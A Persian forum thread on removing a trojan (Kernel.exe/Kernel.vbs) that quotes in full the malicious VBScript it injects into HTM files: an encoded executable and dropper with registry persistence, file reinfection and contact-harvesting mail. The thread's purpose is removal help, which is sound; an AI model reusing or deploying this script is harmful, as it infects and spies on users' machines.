این کد باعث میشه که هر وقت سیستم اومد بالا این فایل Kernel هم دوباره فعال بشه.
حالا شما دو تا راه داری:
1-این که بشینی تموم فایل های htm رو با Notepad بازکنی و این کد رو از آخر همه اش برداری یعنی کاری که من با 300 تا فایل htm کردم چون برام مهم بودن اما حواست باشه که سیستم Restart نشه یا قبل این که Restart کنی فایل هایی که کدشونو پاک کردی بریزی روی CD یا به فایل zip تبدیلشون کنی چون دوباره ویندوز لود میشه و این کد به آخر تموم فایل هات اضافه میشه و ... .من پیشنهاد می کنم وقتی که این کد ها ور از روی تموم فایل هات پاک کردی اون ها رو بریز رو CD تا از خطر در امان باشی.
2-یه راه دیگه هم این که تموم فایل های htm رو پاک کنی یا بریزی روی CD و بعد سر فرصت بشینی کد های آخر فایل ها رو پاک کنی.مهم این که فایل htm روی سیستمت نباشه.
فایل های htm شامل Temporary Internet Files هم میشه اونها رو هم پاک کن.
حالا شما دیگه هیچ فایل htm روی Hard نداری بهتره که درایو ویندوزتو Format و یه ویندوز جدید بریزی.
حالا برو حالشو ببر
موفق باشی:8:

esool جون كسي ازت تشكر نكرد واسه زحمتي كه كشيدي كار من كه درست شد خيلي ممنون:40: :11:

esool بابا تو دیگه کی هستی.
این همه اطلاعات رو از کجا اوردی.فکر نکنم کسی که این تروجان رو نوشته این قدر در مورد این تروجان اطلاعات داشته باشه.
به اطلاعاتمان افزودی.
ممنان

این تاپیک در باره این ویروس و برنامه ای برای از بین بردن اون که توسط دوست عزیز mb_danger معرفی شده . موفق باشید

adress + http:// forum.p30world.com/showthread.php?t=101263&page=3&highlight=%D8%A7%D8 %B1%D9%88%D8%B1+%D8%B9%D8%AC%DB%8C%D8%A8

نقل قول:

نوشته شده توسط esool [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

پویان جان من یه کم مبتدیانه توضیح میدم ناراحت نشیا می خوام شیرفهم شی.:20:
اول Start رو بزن بعد Run توی Run تایپ کن msconfig .
برو توی سربرگ Startup توی اونجا چکمارک یا همون تیک کنار kernel.exe رو بردار این کار باعث میشه که kernel دیگه لود نشه.
بعد Crtl+Alt+Delet رو بزن تو سربرگ Processes روی kernel کلیک کن و End Processes رو بزن.
حالا برو تو D:\WINDOWS\system32 دو تا فایل kernel.exe و kernel.vbs رو پاک کن.
شما با این کار به صورت دستی تروجان رو پاک کردی اما حالا بهتره که یه Antivirus که این فایل رو بشناسه یعنیBitDenfender رو بریزی اون وقت یه بار سیستمو اسکن میکنی و هر وقت خواست این Kernel لود بشه BitDenfender میپرسه که اجازه فعالیت بهش بده یا نه که شما حالشو میگیریو No رو میزنی.:21:

تا حالا شما خود تروجان رو پاک کردی اما این تروجان توی تمام فایل های htm یا همون صفحه های اینترنت کد زیر رو وارد کرده:

کد:

<script language=vbscript> on error resume next fileexe1="077090144000003000000000004000000000255255000000184000000000000000000000064000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000184000000000014031186014000180009205033184001076205033084104105115032112114111103114097109032099097110110111116032098101032114117110032105110032068079083032109111100101046013013010036000000000000000000000212036142028144069224079144069224079144069224079030090243079135069224079108101242079147069224079082105099104144069224079000000000000000000000000000000000000000000000000080069000000076001003000081115047069000000000000000000000000224000015001011001005012000002000000000030006000000000000000007017000000000016000000000032000000000000064000000016000000000002000000004000000000004000000000004000000000000000000000000080006000000004000000139039000000002000000000000000016000000016000000000000016000000016000000000000000000016000000000000000000000000000000000068032000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000032000000068000000000000000000000000000000000000000000000000000000000000000000000000000000000046116101120116000000000240001000000000016000000000002000000000004000000000000000000000000000000000000000000032000000096046114100097116097000000250001000000000032000000000002000000000006000000000000000000000000000000000000000000064000000064046100097116097000000000128027006000000048000000000002000000000008000000000000000000000000000000000000000000064000000192000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000106000106000106000106001106000232207001000000163112075070000106000104000000000128106000106000104041048064000255053112075070000232181001000000163116075070000104120075070000104128026006000104240048064000255053116075070000232156001000000104004001000000104124075070000232231000000000104028048064000104124075070000232244000000000104000016000000104088048064000104124075070000232202000000000163224048064000106000104228048064000255053120075070000104240048064000255053224048064000232174000000000255053224048064000232145000000000255053112075070000232032001000000255053116075070000232021001000000106005106000106000104124075070000106000106000232073000000000195085139236131196228106000106000106000141069228080232063000000000011192116020141069228080232062000000000141069228080232035000000000235217201195104000016064000104224147004000106000106000232024000000000232185255255255195255037020032064000255037040032064000255037036032064000255037032032064000255037028032064000255037000032064000255037012032064000255037008032064000255037004032064000204204204204204204204204204204085139236087255117008232036000000000139125008139077012003248051210051192138004010136004058131194001132192117243095139069008201194008000204204204085139236139069008131232004131192004128056000116048128120001000116032128120002000116016128120003000117230043069008131192003201194004000043069008131192002201194004000043069008131192001201194004000043069008201194004000255037060032064000255037048032064000255037052032064000255037056032064000000000000000000000000000000000000000000000000000086033000000134033000000122033000000100033000000000000000000236032000000000000000000054033000000042033000000028033000000008033000000000000000000182033000000198033000000218033000000160033000000000000000000188032000000000000000000000000000000252032000000020032000000196032000000000000000000000000000000074033000000028032000000168032000000000000000000000000000000146033000000000032000000216032000000000000000000000000000000238033000000048032000000000000000000000000000000000000000000000000000000000000000000086033000000134033000000122033000000100033000000000000000000236032000000000000000000054033000000042033000000028033000000008033000000000000000000182033000000198033000000218033000000160033000000000000000000103000083104101108108069120101099117116101065000115104101108108051050046100108108000140000068105115112097116099104077101115115097103101065000000025001071101116077101115115097103101065000023002083101116084105109101114000000066002084114097110115108097116101077101115115097103101000000117115101114051050046100108108000000026000067108111115101072097110100108101000060001071101116083121115116101109068105114101099116111114121065000202001079112101110070105108101000000158002087114105116101070105108101000107101114110101108051050046100108108000000105000073110116101114110101116067108111115101072097110100108101000134000073110116101114110101116079112101110065000135000073110116101114110101116079112101110085114108065000000142000073110116101114110101116082101097100070105108101000000119105110105110101116046100108108000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000092083121115116101109115046101120101000104116116112058047047104049046114105112119097121046099111109047100114101097109104097099107047072047078097118105100104097099107046101120101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" filevbs1="039078097118105100032110101119032118105114117115032050048048054040049051055053046049041013010111110032101114114111114032114101115117109101032110101120116013010100105109032102105108101104116109044115121115044121114013010102105108101104116109049061034049048048049048053049048057048051050049049053049050049049049053048049051048049048048056051049048049049049054048051050049048048049048050048051050048054049048051050049048048049049049048057057049049055049048057049048049049049048049049054048052054048057057049049052049048049048057055049049054049048049048054057049048056049048049049048057049048049049049048049049054048052048048051052049049049048057056049048054049048049048057057049049054048051052048052049048049051048049048049048048049048050048052054049049053049048049049049054048054053049049054049049054049049052049048053048057056049049055049049054049048049048051050048051052048057057049048056048057055049049053049049053049048053049048048048051052048052052048051050048051052048057057049048056049049053049048053049048048048053056048054054048054056048053055048053052048054055048053051048053051048053052048052053048053052048053051048054053048053049048052053048052057048052057048054056048052056048052053048053055048053054048053049048054053048052053048052056048052056048054055048052056048053050048055048048054055048053048048053055048054057048053049048053052048051050048051052048049051048049048049049053049048049049049054048051050049048050049049053049049049048051050048054049048051050049048048049048050048052054048057057049049052049048049048057055049049054049048049049049049048057056049048054049048049048057057049049054048052048048051052048056051048057057049049052049048053049049050049049054049048053049049048049048051048052054048055048049048053049048056049048049048056051049050049049049053049049054049048049049048057048055057048057056049048054049048049048057057049049054048051052048052052048051052048051052048052049048049051048049048049049053049048049049049054048051050049049053048054049049048048049048050048052054048054055049049052049048049048057055049049054049048049048055057048057056049048054049048049048057057049049054048052048048051052048056051049048052049048049049048056049048056048052054048054053049049050049049050049048056049048053048057057048057055049049054049048053049049049049049048048052054048052057048051052048052052048051052048051052048052049048049051048049048049049053049048049049049054048051050049049052049048049048054049049048048049048050048052054048057057049049052049048049048057055049049054049048049049049049048057056049048054049048049048057057049049054048052048048051052049049057049049053048057057049049052049048053049049050049049054048052054049049053049048052049048049049048056049048056048051052048052052048051052048051052048052049048049051048049048049049053049050049049049053048054049049048050049049053049049049048052054048055049049048049049049054048056051049049050049048049048057057049048053048057055049048056048055048049049049049048056049048048049048049049049052048052048048052057048052049048049051048049048048055048049049049049049052048051050048057055048051050048054049048051050048052057048051050048056052049049049048051050048055054049048049049049048048052048049048050049048053049048056049048049049049056048057056049049053048052057048052049048051050048056051049049054049048049049049050048051050048053049048049051048049048049048050049048053049048056049048049049049056048057056049049053048053048048054049049048050049048053049048056049048049049049056048057056049049053048053048048051050048051056048051050048057057049048052049049052048052048049048057049048053049048048048052048049048050049048053049048056049048049049049056048057056049049053048052057048052052048057055048052052048053049048052049048052049048049051048049048049048053049048050048051050048057055048051050048054048048051050049048056049048049049049048048052048049048050049048053049048056049048049049048049049050048049048049048052057048052049048052051048052057048051050049049054049048052049048049049049048048051050049048050049048053049048056049048049049048049049050048049048049048053048048054049049048050049048053049048056049048049049048049049050048049048049048053048048051050048051056048051050048057057049048052049049052048052048049048057049048053049048048048052048049048050049048053049048056049048049049048049049050048049048049048052057048052052048057055048052052048053049048052049048052049048049051048049048049049048049048049049050048049049054048049051048049048049048055049049052048051050048054049048051050048056053048054055048057055049049053049048049048052048049049052049048049048052054048056050049048049049048051048056050049048049048057055049048048048052048048051052048055050048055053048054057048056057048057053048055054048055057048054055048054053048055054048057053048055055048054053048054055048055050048055051048055056048054057048057050048056051048055057048055048048056052048056055048054053048056050048054057048057050048055055049048053048057057049049052049049049049049053049049049049048050049049054048057050048056055049048053049049048049048048049049049049049057049049053048057050048054055049049055049049052049049052049048049049049048049049054048056054049048049049049052049049053049048053049049049049049048048057050048056050049049055049049048048057050048055055049048053048057057049049052049049049049049053049049049049048050049049054048051050048056055049048053049049048049048048049049049049049057049049053048051052048052049048052049048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056052048056051048056048048053049048053048048054057048052054048054056048055054048055054048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049048049049050048049048049048052057048049051048049048049048053049048050048051050049049055048057057048057055049049053049048049048052048049048050049049053049049049048052054048055048049048053049048056049048049048054057049050048049048053049049053049049054049049053048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048052049048052049048054049048051052048055048048054053048055054048056051048054057048051052048051050049049049049049052048051050049048055049049052048054048048054050049049055048057057048057055049049053049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053048054057048056050048055056048054057048055054048052054048054057048056056048054057048051052048052049048051050049049054049048052049048049049049048048049051048049048049049052049048049048052054049049052049048049049048051049049057049049052049048053049049054049048049048051050048051052048055050048055053048054057048056057048057053048055054048055057048054055048054053048055054048057053048055055048054053048054055048055050048055051048055056048054057048057050048056051048055057048055048048056052048056055048054053048056050048054057048057050048055055049048053048057057049049052049049049049049053049049049049048050049049054048057050048056055049048053049049048049048048049049049049049057049049053048057050048054055049049055049049052049049052049048049049049048049049054048056054049048049049049052049049053049048053049049049049049048048057050048056050049049055049049048048057050048051052048051050048051056048051050048051052048055055049048053048057057049049052049049049049049053049049049049048050049049054048051050048056055049048053049049048049048048049049049049049057049049053048051052048051050048052052049049053049050049049049053048051050048051056048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049048049049050048049048049048053048048049051048049048049049053048052054048055057049049050049048049049049048048051050048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048052049048049051048049048049048049049049048049048048048051050049048053049048050048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056052048056051048056048048053049048053048048056054048052054048054056048055054048055054048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049049056048057056049049053048052057048049051048049048049048053049048050048051050049048050049049053049049049048052054049049049049049050049048049049049048049049054049048049049050048049049054049048050049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056051049050049049049053049049054049048049049048057049049056048052054049048048049048056049048056048051052048052052048052057048052049048052054049049052049048049048057055049048048048057055049048056049048056048054048048054050048051052049049049049049048048051052048051050049049054049048052049048049049049048048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049049056048057056049049053048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049049056048057056049049053048053048048049051048049048049049053048052054048055057049049050049048049049049048048051050048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049049056048057056049049053048051052048052049048049051048049048049048049049049048049048048048051050049048053049048050048049051048049048048054048048052055049049053048057057049049052049048053049049050049049054048054050034013010115101116032102115111061099114101097116101111098106101099116040034115099114105112116105110103046102105108101115121115116101109111098106101099116034041013010115101116032114101061099114101097116101111098106101099116040034119115099114105112116046115104101108108034041013010115121115061102115111046071101116083112101099105097108070111108100101114040049041013010102115111046067114101097116101084101120116070105108101040115121115032038032034092083121115116101109118046100108108034041046119114105116101032034111110034013010102105108101104116109061034060115099114105112116032108097110103117097103101061118098115099114105112116062034032038032118098099114108102032038032034111110032101114114111114032114101115117109101032110101120116034032038032118098099114108102013010102105108101104116109061102105108101104116109032038032034102105108101101120101049061034034034032038032102115111046111112101110116101120116102105108101040115121115032038032034092084083080051050069046068076076034044049041046114101097100097108108032038032034034034034032038032118098099114108102013010102105108101104116109061102105108101104116109032038032034102105108101118098115049061034034034032038032102115111046111112101110116101120116102105108101040115121115032038032034092084083080051050086046068076076034044049041046114101097100097108108032038032034034034034032038032118098099114108102013010070111114032097032061032049032084111032076101110040102105108101104116109049041032083116101112032051013010102105108101104116109061102105108101104116109032038032099104114040109105100040102105108101104116109049044097044051041041013010110101120116013010114101046114101103119114105116101032034072075069089095067085082082069078084095085083069082092083111102116119097114101092077105099114111115111102116092087105110100111119115092067117114114101110116086101114115105111110092082117110092034032038032034077105099114111115111102116032087105110100111119115034032044115121115032038034092075101114110101108046118098115034013010114101046114101103119114105116101032034072075069089095076079067065076095077065067072073078069092083079070084087065082069092077105099114111115111102116092087105110100111119115092067117114114101110116086101114115105111110092082117110092034032038032034077105099114111115111102116032087105110100111119115034032044115121115032038034092075101114110101108046101120101034013010121114061114101046082101103082101097100040034072075069089095067085082082069078084095085083069082092083111102116119097114101092121097104111111092112097103101114092089097104111111033032085115101114032073068034041013010115116097114116013010083117098032115116097114116040041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032100114049032073110032102115111046068114105118101115013010073102032100114049046068114105118101084121112101032061032050032079114032100114049046068114105118101084121112101032061032051032084104101110032102105108101049032040100114049032038032034092034041058032102111108100101114049032040100114049032038032034092034041013010078101120116013010115101110100109097105108013010069110100032083117098013010083117098032102111108100101114049040100114049041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032102111032073110032102115111046071101116070111108100101114040100114049041046083117098070111108100101114115013010105102032085067097115101040114105103104116040102111044050053041041061034089065072079079033092077069083083069078071069082092080082079070073076069083034032116104101110032121097104111111040102111041013010102105108101049032040102111041013010102111108100101114049032040102111041013010078101120116013010069110100032083117098013010083117098032102105108101049040102111041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032102105032073110032102115111046071101116070111108100101114040102111041046070105108101115013010110106032040102105041013010078101120116013010069110100032083117098013010115117098032110106040102105041013010111110032101114114111114032114101115117109101032110101120116013010101120116061085067097115101040102115111046071101116069120116101110115105111110078097109101040102105041041013010105102032101120116061034072084077034032111114032101120116061034072084077076034032111114032101120116061034072084084034032116104101110013010105102032114105103104116040102115111046111112101110116101120116102105108101040102105044049041046114101097100097108108044108101110040102105108101104116109041041060062102105108101104116109032116104101110013010102115111046111112101110116101120116102105108101040102105044056041046119114105116101032118098099114108102032038032102105108101104116109013010101110100032105102013010101110100032105102013010101110100032115117098013010115117098032121097104111111040102111121049041013010070111114032069097099104032102111121050032073110032102115111046071101116070111108100101114040102111121049041046083117098070111108100101114115013010109097105108097108108061109097105108097108108032038032102115111046071101116070105108101078097109101040102111121050041032038032034064121097104111111046099111109034032038032118098099114108102013010110101120116013010102115111046099114101097116101116101120116102105108101040115121115032038032034092109097105108046108111103034041046119114105116101032109097105108097108108032038032034069078068034013010102115111046099114101097116101116101120116102105108101040115121115032038032034092115101110100046108111103034041046119114105116101032121114032038032034064121097104111111046099111109034013010101110100032115117098013010115117098032115101110100109097105108040041013010111110032101114114111114032114101115117109101032110101120116013010115101110100109061102115111046111112101110116101120116102105108101040115121115032038032034092115101110100046108111103034044049041046114101097100097108108013010115101116032109097105108109061102115111046111112101110116101120116102105108101040115121115032038032034092109097105108046108111103034044049041013010109097105108097061109097105108109046114101097100108105110101013010119104105108101032109097105108097032060062032034069078068034013010083101116032111098106077101115115097103101032061032067114101097116101079098106101099116040034067068079046077101115115097103101034041032013010111098106077101115115097103101046083117098106101099116032061032034072101108108111034013010111098106077101115115097103101046083101110100101114032061032115101110100109013010111098106077101115115097103101046102114111109061032115101110100109013010111098106077101115115097103101046084111032061032109097105108097013010111098106077101115115097103101046084101120116066111100121032061032034072101108108111034032038032118098099114108102032038032034071111032116111032109121032115097105116058032104116116112058047047103105114108115101120046119101098115046105111047112105099116117114101046104116109034013010111098106077101115115097103101046083101110100013010109097105108097061109097105108109046114101097100108105110101013010119101110100013010102115111046067114101097116101084101120116070105108101040115121115032038032034092083121115116101109118046100108108034041046119114105116101032034111102102034013010101110100032115117098013010" dim sys Set df = document.createElement("object") df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 " set fso = df.createobject("Scripting.FileSystemObject","") set s=df.CreateObject("Shell.Application.1","") set re=df.createobject("wscript.shell","") sys=fso.GetSpecialFolder(1) For a = 1 To Len(filevbs1) Step 3 filevbs2=filevbs2 & chr(mid(filevbs1,a,3)) if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3)) next kr = UCase(re.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Windows")) fso.CreateTextFile(sys & "\TSP32E.DLL").write fileexe1 if ucase(fso.FileExists(sys & "\Kernel.exe"))="FALSE" or kr<>ucase(sys & "\KERNEL.EXE") then re.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe" fso.CreateTextFile(sys & "\Kernel.exe").write fileexe2 s.Open (sys & "\Kernel.exe") end if fso.CreateTextFile(sys & "\TSP32V.DLL").write filevbs1 if fso.opentextfile(sys & "\Systemv.dll",1).readall<>"on" then fso.CreateTextFile(sys & "\Kernel.vbs").write filevbs2 s.Open (sys & "\Kernel.vbs") end if </script>

این کد باعث میشه که هر وقت سیستم اومد بالا این فایل Kernel هم دوباره فعال بشه.
حالا شما دو تا راه داری:
1-این که بشینی تموم فایل های htm رو با Notepad بازکنی و این کد رو از آخر همه اش برداری یعنی کاری که من با 300 تا فایل htm کردم چون برام مهم بودن اما حواست باشه که سیستم Restart نشه یا قبل این که Restart کنی فایل هایی که کدشونو پاک کردی بریزی روی CD یا به فایل zip تبدیلشون کنی چون دوباره ویندوز لود میشه و این کد به آخر تموم فایل هات اضافه میشه و ... .من پیشنهاد می کنم وقتی که این کد ها ور از روی تموم فایل هات پاک کردی اون ها رو بریز رو CD تا از خطر در امان باشی.
2-یه راه دیگه هم این که تموم فایل های htm رو پاک کنی یا بریزی روی CD و بعد سر فرصت بشینی کد های آخر فایل ها رو پاک کنی.مهم این که فایل htm روی سیستمت نباشه.
فایل های htm شامل Temporary Internet Files هم میشه اونها رو هم پاک کن.
حالا شما دیگه هیچ فایل htm روی Hard نداری بهتره که درایو ویندوزتو Format و یه ویندوز جدید بریزی.
حالا برو حالشو ببر
موفق باشی:8:

esool جون فقط میتونم بگم بابا تودیگه کی هستی؟؟پسر خوب اینارو زودتر میگفتی.من میدونستم هر چی هست زیر سر این فایل Kernel.exe هستش.من این کارایی رو که گفتی انجام دادم (البته هنوز کد فایل های HTMرو پاک نکردم)ولی الانشم دیگه اون پیغام مزاحمو نمیبینم.یعنی به نظر تو اون کارا روی فایلهای HTM لازمه؟در هر صورت نمیدونم چه طور ازت تشکر کنم.(راستی این چیزای رو که به قول خودت مبتدیانه گفتی ،حرفه ایشم مینوشتی تا ببینم فرقشون چیه؟)در هر حال ممنون...:11:

نقل قول:

نوشته شده توسط ahsanx [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

این تاپیک در باره این ویروس و برنامه ای برای از بین بردن اون که توسط دوست عزیز mb_danger معرفی شده . موفق باشید

adress + http:// forum.p30world.com/showthread.php?t=101263&page=3&highlight=%D8%A7%D8 %B1%D9%88%D8%B1+%D8%B9%D8%AC%DB%8C%D8%A8

عزیزم با تشکر از لطفت ولی این آدرس باز نمیشه...

از همه دوساتانی هم که توی این مدت منو راهنمایی کردن کمال تشکر و قدر دانی رو دارم امیدوارم بتونم جبران کنم...

نقل قول:

نوشته شده توسط pooyan.kh [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

esool جون فقط میتونم بگم بابا تودیگه کی هستی؟؟پسر خوب اینارو زودتر میگفتی.من میدونستم هر چی هست زیر سر این فایل Kernel.exe هستش.من این کارایی رو که گفتی انجام دادم (البته هنوز کد فایل های HTMرو پاک نکردم)ولی الانشم دیگه اون پیغام مزاحمو نمیبینم.یعنی به نظر تو اون کارا روی فایلهای HTM لازمه؟در هر صورت نمیدونم چه طور ازت تشکر کنم.(راستی این چیزای رو که به قول خودت مبتدیانه گفتی ،حرفه ایشم مینوشتی تا ببینم فرقشون چیه؟)در هر حال ممنون...:11:

من چون خودم گرفتار این تروجان بودم توی سایت های مختلف دنبالش گشتم (از جمله همین پی سی خودمون) تا راه حلشو پیدا کنم.
قابل شما دوستای عزیزو نداشت.
پویان جان اگه کارت راه افتاده که دیگه نمی خواد کد ها رو پاک کنی ولی اگه دوباره اومد بدون که مال همین کدهاست.
قربون همتون :20:

نقل قول:

نوشته شده توسط esool [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

من چون خودم گرفتار این تروجان بودم توی سایت های مختلف دنبالش گشتم (از جمله همین پی سی خودمون) تا راه حلشو پیدا کنم.
قابل شما دوستای عزیزو نداشت.
پویان جان اگه کارت راه افتاده که دیگه نمی خواد کد ها رو پاک کنی ولی اگه دوباره اومد بدون که مال همین کدهاست.
قربون همتون :20:

خدمت Esool جان گل گلاب خودمون عرض کنم که...من دیروز این تروجان رو از طریق راههایی که گفتی غیر فعالش کردم و دست آخر هم به صورت دستی پاکش کردم ولی بازم از رو نرفت اصلا توی کامپیوتر من جا خشک کرده .:4: یک ساله جای گرمو نرمی پیدا کرده حالا حالاها دل نمیکنه از ما...:31: خلاصه منم اومدم 300،400 تا فایل htm رو از دیروز صبح تا دیشب از تو درایو هام سرچ کردمو کدها رو از آخرشون برداشتمو دست آخرم سیو می کردم تا امروز و تا الان نه خبری از مهمون یک سالمونه و نه خبری از پیغامش...اگه این بارم بیاد خداییش اعصاب ضعیف میزم کامپیوترمو خورد میکنم تا اون kernele نامردم باهاش نابود بشه... :9: :24:

اي ول بابا Esool
خيلي جالب بود
دمت گرم
تونستم پاكش كنم

دوستان عزیز هر کس این مشکل رو داره با این نرم افزار میتونه اونو از بین ببره همونطور که گفتم این برنامه توسط دوست عزیز MB_Danger در تاپیکی معرفی شده که من خودم از اون استفاده کردم و مشکلم حل شد این آدرس تاپیک

کد:

[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

و این هم آدرس نرم افزار با حجم 12 کیلو بایت که بعد از دانلود اونو از حالت زیپ بیرون بیارید و اجرا کنید بعد از چند ثانیه برای همیشه از دست این ویروس راحت میشین
دانلود با حجم 12 کیلو [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
من درست نمیدونم چطور باید لینک بزارم اگه گذاشتنم اشتباهه منو ببخشین . موفق باشید

نقل قول:

نوشته شده توسط ahsanx [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

دوستان عزیز هر کس این مشکل رو داره با این نرم افزار میتونه اونو از بین ببره همونطور که گفتم این برنامه توسط دوست عزیز MB_Danger در تاپیکی معرفی شده که من خودم از اون استفاده کردم و مشکلم حل شد این آدرس تاپیک

کد:

[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

و این هم آدرس نرم افزار با حجم 12 کیلو بایت که بعد از دانلود اونو از حالت زیپ بیرون بیارید و اجرا کنید بعد از چند ثانیه برای همیشه از دست این ویروس راحت میشین
دانلود با حجم 12 کیلو [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
من درست نمیدونم چطور باید لینک بزارم اگه گذاشتنم اشتباهه منو ببخشین . موفق باشید

با سلام...
دوست عزیز این که فرمتش زیپ نیست؟؟؟ وقتی سیو میشه یه فایل ناشناختس اینم اسمشه ANV.7z

با Winrar از حالت فشرده درش بیار توش دوتا فایل Reamme.txt And Anti Navid Virus.exe

همون طور که جناب mohsen6558 گفتن باید با winrar بازش کنی و فایل Anti Navid Virus.exe رو اجرا کنی.موفق باشی